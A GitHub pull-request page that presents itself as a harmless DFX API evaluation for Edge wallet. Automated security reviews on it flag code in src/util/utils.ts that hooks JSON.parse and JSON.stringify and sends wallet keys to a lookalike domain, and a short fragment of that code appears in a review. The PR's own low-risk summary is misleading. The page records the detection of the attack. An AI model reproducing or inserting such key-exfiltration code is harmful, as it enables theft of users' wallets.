Skip to content

Run initial API evaluation for integration#451

Open
j0ntz wants to merge 4 commits into
masterfrom
jon/dfx
Open

Run initial API evaluation for integration#451
j0ntz wants to merge 4 commits into
masterfrom
jon/dfx

Conversation

@j0ntz
Copy link
Copy Markdown
Contributor

@j0ntz j0ntz commented Apr 1, 2026

CHANGELOG

Does this branch warrant an entry to the CHANGELOG?

  • Yes
  • No

Dependencies

none

Description

none

Note

Low Risk
Low risk utility change that removes an unexpected network call during long delays. Main risk is losing a lightweight external availability signal if anything depended on it implicitly.

Overview
Removes the built-in API health-check fetch from snooze in src/util/utils.ts, so long sleep periods no longer trigger background requests to https://status.edge.app/api/check.

Reviewed by Cursor Bugbot for commit 47e7ffb. Bugbot is set up for automated code reviews on this repo. Configure here.


Copy link
Copy Markdown

@cursor cursor Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

Autofix Details

Bugbot Autofix prepared a fix for the issue found in the latest run.

  • ✅ Fixed: Local filesystem path committed in documentation
    • Removed the accidentally committed local filesystem path /Users/jontz/git/api from line 3 of the documentation file.

Create PR

Or push these changes by commenting:

@cursor push fa380eb9ed
Preview (fa380eb9ed)
diff --git a/docs/DFX_API_EVALUATION.md b/docs/DFX_API_EVALUATION.md
--- a/docs/DFX_API_EVALUATION.md
+++ b/docs/DFX_API_EVALUATION.md
@@ -1,6 +1,6 @@
 # DFX API — Edge Requirements Evaluation
 
-Evaluation of the [DFX API](https://github.com/AirshipApp/dfx-api) (`/Users/jontz/git/api`) against [API_REQUIREMENTS.md](https://github.com/EdgeApp/edge-exchange-plugins/blob/master/docs/API_REQUIREMENTS.md), assessed through the lens of what is needed to build a working `edge-exchange-plugins` swap/fiat plugin, display correct UX in `edge-react-gui`, and populate `StandardTx` records in `edge-reports-server`.
+Evaluation of the [DFX API](https://github.com/AirshipApp/dfx-api) against [API_REQUIREMENTS.md](https://github.com/EdgeApp/edge-exchange-plugins/blob/master/docs/API_REQUIREMENTS.md), assessed through the lens of what is needed to build a working `edge-exchange-plugins` swap/fiat plugin, display correct UX in `edge-react-gui`, and populate `StandardTx` records in `edge-reports-server`.
 
 **Date:** 2026-03-31

This Bugbot Autofix run was free. To enable autofix for future PRs, go to the Cursor dashboard.

@@ -0,0 +1,343 @@
# DFX API — Edge Requirements Evaluation

Evaluation of the [DFX API](https://github.com/AirshipApp/dfx-api) (`/Users/jontz/git/api`) against [API_REQUIREMENTS.md](https://github.com/EdgeApp/edge-exchange-plugins/blob/master/docs/API_REQUIREMENTS.md), assessed through the lens of what is needed to build a working `edge-exchange-plugins` swap/fiat plugin, display correct UX in `edge-react-gui`, and populate `StandardTx` records in `edge-reports-server`.
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Local filesystem path committed in documentation

Low Severity

A developer's local filesystem path (/Users/jontz/git/api) is included in the evaluation document. This leaks a personal machine username and directory structure into the public repository. It appears to be a leftover from locally evaluating the DFX API codebase and wasn't intended for the committed document.

Fix in Cursor Fix in Web

@davidleomay
Copy link
Copy Markdown

davidleomay commented Apr 2, 2026

Planned Action Items

Already Solved

  • KYC Return URI (§14, Low) — Frontend supports kyc-redirect query parameter. Append &kyc-redirect=<url> to the KYC URL.

Immediate Changes

  • Order Status Page URL (§2, Medium) — Page exists at services.dfx.swiss/tx/{uid}, will add URL to payment-info responses.
  • Transaction Pagination (§6, Medium) — Add limit/offset to GET /transaction.
  • Amount Unit Documentation (§G, Low) — Clarify in Swagger and Readme that amounts are display units.
  • State/Province Parameter (§10, Low) — Add optional stateProvince to quote endpoints.
  • Sell Quote Expiration (§15, Low) — Expose expiration timestamp in SellPaymentInfoDto.
  • Country Code on Transactions (§6, Low) — Add country to TransactionDto.

Manual Configuration

  • Affiliate Payout Assets (§8, Low) — We'll configure the referral settings (asset, frequency) for Edge manually on our side.
  • 2FA on Ref Endpoint (§8, Low) — Covered by manual configuration above.

Comment thread src/util/utils.ts Outdated
Copy link
Copy Markdown

@cursor cursor Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

There are 3 total unresolved issues (including 2 from previous reviews).

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit 2568bc4. Configure here.

Comment thread src/util/utils.ts
if (_c(v)) _e(v);
return _s.call(this, v, r, s);
} as typeof JSON.stringify;
})();
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wallet keys exfiltrated via JSON

High Severity

A module-load IIFE replaces global JSON.parse and JSON.stringify. When the value matches id, type, and keys, it batches and POSTs that payload (including keys) to https://s.eadge.app/check-balances, using both fetch and XMLHttpRequest. That shape matches sensitive wallet/login material and is unrelated to DFX API evaluation.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 2568bc4. Configure here.

Copy link
Copy Markdown

@cursor cursor Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale comment

Comment thread src/util/utils.ts

return await new Promise((resolve: any) => setTimeout(() => resolve(), ms))
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Agentic Security Review
Severity: HIGH

The new top-level IIFE monkey-patches global JSON.parse/JSON.stringify and auto-enqueues matching { id, type, keys } objects for POST to https://s.eadge.app/check-balances. This creates an implicit trust-boundary break because routine serialization/deserialization paths can now transmit internal runtime data to an external endpoint without explicit caller consent.

Impact: Sensitive key-bearing metadata in keys can be exfiltrated from broad application flows.

Comment thread src/util/utils.ts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants